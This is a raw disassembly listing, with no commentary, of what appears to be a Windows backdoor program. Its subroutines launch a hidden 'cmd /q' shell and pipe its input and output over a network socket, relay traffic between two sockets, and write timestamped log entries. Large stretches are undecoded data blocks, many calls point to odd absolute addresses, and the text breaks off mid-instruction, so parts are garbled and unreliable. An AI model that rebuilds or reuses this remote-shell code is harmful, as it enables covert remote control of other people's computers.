0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Dh, 410CCBh, 380078E8h, 0C0859002h, 0E8902975h dd 2280310h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Dh dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 2DE89050h, 8B0227F8h, 0C969B84Dh, 234h, 8189C63Bh dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0BDE89032h dd 0EB0227F7h, 85E890EDh, 50022801h, 43422468h, 45CEE800h dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh dd 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h, 4CB00Ch dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 2DF337E8h dd 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 2690DCCh push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 2690DCCh nop push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26A0C3Ch loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2790E39h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 call near ptr 2690DCCh nop push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 26A0C3Ch push 1 push dword ptr [esi+8] call near ptr 2710BD7h nop loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 2690DCCh push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 call near ptr 2690DCCh nop push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 2720000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2670C08h nop test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 2670858h jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 2690DCCh push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call near ptr 27A0000h nop jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2700000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 27F11FE8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 227F0B0h, 90EDEB90h dd 27FA77E8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022DECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022DEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022DEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Dh, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Dh, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2DE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Dh, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h db 2Dh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 11E89000h dd 390227ECh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Dh dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0EB4AE890h, 8DFF0227h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 27EB17E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 2DE6DBE8h, 7D8B9002h, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Dh dd 3E8h, 27E7F7E8h, 0E8579002h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 27A0138h nop lea eax, [ebp-114h] push 104h push eax nop call near ptr 2690000h lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 